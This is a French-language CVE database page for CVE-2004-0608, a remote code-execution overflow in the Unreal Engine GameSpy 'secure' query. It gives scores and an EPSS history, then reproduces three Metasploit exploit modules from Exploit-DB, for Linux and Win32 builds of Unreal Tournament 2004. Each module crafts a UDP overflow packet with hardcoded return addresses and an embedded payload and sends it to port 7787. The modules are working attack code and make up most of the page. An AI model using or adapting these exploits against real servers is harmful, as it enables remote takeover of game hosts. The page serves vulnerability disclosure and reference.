CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Unreal Engine, as used in DeusEx 1.112fm and earlier, Devastation 390 and earlier, Mobile Forces 20000 and earlier, Nerf Arena Blast 1.2 and earlier, Postal 2 1337 and earlier, Rune 107 and earlier, Tactical Ops 3.4.0 and earlier, Unreal 1 226f and earlier, Unreal II XMP 7710 and earlier, Unreal Tournament 451b and earlier, Unreal Tournament 2003 2225 and earlier, Unreal Tournament 2004 before 3236, Wheel of Time 333b and earlier, and X-com Enforcer, allows remote attackers to execute arbitrary code via a UDP packet containing a secure query with a long value, which overwrites memory.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
79.7%
–
–
2023-02-19
–
–
79.7%
–
–
2023-03-12
–
–
–
64.24%
–
2023-06-11
–
–
–
61.72%
–
2023-11-26
–
–
–
61.72%
–
2023-12-03
–
–
–
61.72%
–
2023-12-10
–
–
–
61.72%
–
2024-01-07
–
–
–
62.02%
–
2024-06-02
–
–
–
62.02%
–
2024-07-21
–
–
–
62.65%
–
2024-12-15
–
–
–
60.3%
–
2024-12-22
–
–
–
81.74%
–
2025-01-19
–
–
–
81.74%
–
2025-03-18
–
–
–
–
60.18%
2025-03-18
–
–
–
–
60.18,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-09-19 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
'Description' => %q{
This is an exploit for the GameSpy secure query in
the Unreal Engine.
This exploit only requires one UDP packet, which can
be both spoofed and sent to a broadcast address.
Usually, the GameSpy query server listens on port 7787,
but you can manually specify the port as well.
The RunServer.sh script will automatically restart the
server upon a crash, giving us the ability to
bruteforce the service and exploit it multiple
times.
},
'Author' => [ 'onetwo' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2004-0608'],
[ 'OSVDB', '7217'],
[ 'BID', '10570'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x5c\x00",
},
'Platform' => 'linux',
'Targets' =>
[
['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
],
'DisclosureDate' => 'Jun 18 2004'))
register_options(
[
Opt::RPORT(7787)
], self.class)
end
def exploit
connect_udp
buf = make_nops(1024)
buf[24, 4] = [target['Rets'][1]].pack('V')
buf[44, 4] = [target['Rets'][0]].pack('V')
buf[56, 4] = [target['Rets'][1]].pack('V')
buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
buf[0, 8] = "\\secure\\"
buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
udp_sock.put(buf)
handler
disconnect_udp
end
def ut_version
connect_udp
udp_sock.put("\\basic\\")
res = udp_sock.recvfrom(8192)
disconnect_udp
if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
return m[1]
end
return
end
def check
vers = ut_version
if (not vers)
print_status("Could not detect Unreal Tournament Server")
return
end
print_status("Detected Unreal Tournament Server Version: #{vers}")
if (vers =~ /^(3120|3186|3204)$/)
print_status("This system appears to be exploitable")
return Exploit::CheckCode::Appears
end
if (vers =~ /^(2...)$/)
print_status("This system appears to be running UT2003")
return Exploit::CheckCode::Detected
end
print_status("This system appears to be patched")
return Exploit::CheckCode::Safe
end
end
Date de publication : 2004-07-17 22h00 +00:00 Auteur : onetwo EDB Vérifié : Yes
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
'Description' => %q{
This is an exploit for the GameSpy secure query in
the Unreal Engine.
This exploit only requires one UDP packet, which can
be both spoofed and sent to a broadcast address.
Usually, the GameSpy query server listens on port 7787,
but you can manually specify the port as well.
The RunServer.sh script will automatically restart the
server upon a crash, giving us the ability to
bruteforce the service and exploit it multiple
times.
},
'Author' => [ 'onetwo' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0608'],
[ 'OSVDB', '7217'],
[ 'BID', '10570'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x5c\x00",
},
'Platform' => 'linux',
'Targets' =>
[
['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
],
'DisclosureDate' => 'Jun 18 2004'))
register_options(
[
Opt::RPORT(7787)
], self.class)
end
def exploit
connect_udp
buf = make_nops(1024)
buf[24, 4] = [target['Rets'][1]].pack('V')
buf[44, 4] = [target['Rets'][0]].pack('V')
buf[56, 4] = [target['Rets'][1]].pack('V')
buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
buf[0, 8] = "\\secure\\"
buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
udp_sock.put(buf)
handler
disconnect_udp
end
def ut_version
connect_udp
udp_sock.put("\\basic\\")
res = udp_sock.recvfrom(8192)
disconnect_udp
if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
return m[1]
end
return
end
def check
vers = ut_version
if (not vers)
print_status("Could not detect Unreal Tournament Server")
return
end
print_status("Detected Unreal Tournament Server Version: #{vers}")
if (vers =~ /^(3120|3186|3204)$/)
print_status("This system appears to be exploitable")
return Exploit::CheckCode::Appears
end
if (vers =~ /^(2...)$/)
print_status("This system appears to be running UT2003")
return Exploit::CheckCode::Detected
end
print_status("This system appears to be patched")
return Exploit::CheckCode::Safe
end
end
Date de publication : 2010-09-19 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
'Description' => %q{
This is an exploit for the GameSpy secure query in
the Unreal Engine.
This exploit only requires one UDP packet, which can
be both spoofed and sent to a broadcast address.
Usually, the GameSpy query server listens on port 7787,
but you can manually specify the port as well.
The RunServer.sh script will automatically restart the
server upon a crash, giving us the ability to
bruteforce the service and exploit it multiple
times.
},
'Author' => [ 'stinko' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2004-0608'],
[ 'OSVDB', '7217'],
[ 'BID', '10570'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x5c\x00",
},
'Platform' => 'win',
'Targets' =>
[
['UT2004 Build 3186', { 'Rets' => [ 0x10184be3, 0x7ffdf0e4 ] }], # jmp esp
],
'DisclosureDate' => 'Jun 18 2004',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(7787)
], self.class)
end
def exploit
connect_udp
buf = make_nops(1024)
buf[0, 60] = [target['Rets'][0]].pack('V') * 15
buf[54, 4] = [target['Rets'][1]].pack('V')
buf[0, 8] = "\\secure\\"
buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
udp_sock.put(buf)
handler
disconnect_udp
end
def ut_version
connect_udp
udp_sock.put("\\basic\\")
res = udp_sock.recvfrom(8192)
disconnect_udp
if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
return m[1]
end
return
end
def check
vers = ut_version
if (not vers)
print_status("Could not detect Unreal Tournament Server")
return
end
print_status("Detected Unreal Tournament Server Version: #{vers}")
if (vers =~ /^(3120|3186|3204)$/)
print_status("This system appears to be exploitable")
return Exploit::CheckCode::Appears
end
if (vers =~ /^(2...)$/)
print_status("This system appears to be running UT2003")
return Exploit::CheckCode::Detected
end
print_status("This system appears to be patched")
return Exploit::CheckCode::Safe
end
end
Products Mentioned
Configuraton 0
Arush>>Devastation >> Version 390.0
Dreamforge>>Tnn_outdoors_pro_hunter >> Version *
Epic_games>>Unreal_engine >> Version 226f
Epic_games>>Unreal_engine >> Version 433
Epic_games>>Unreal_engine >> Version 436
Epic_games>>Unreal_tournament >> Version 451b
Epic_games>>Unreal_tournament_2003 >> Version 2199_linux
Epic_games>>Unreal_tournament_2003 >> Version 2199_macos
Epic_games>>Unreal_tournament_2003 >> Version 2199_win32
Epic_games>>Unreal_tournament_2003 >> Version 2225_macos
Epic_games>>Unreal_tournament_2003 >> Version 2225_win32
Epic_games>>Unreal_tournament_2004 >> Version macos
Epic_games>>Unreal_tournament_2004 >> Version win32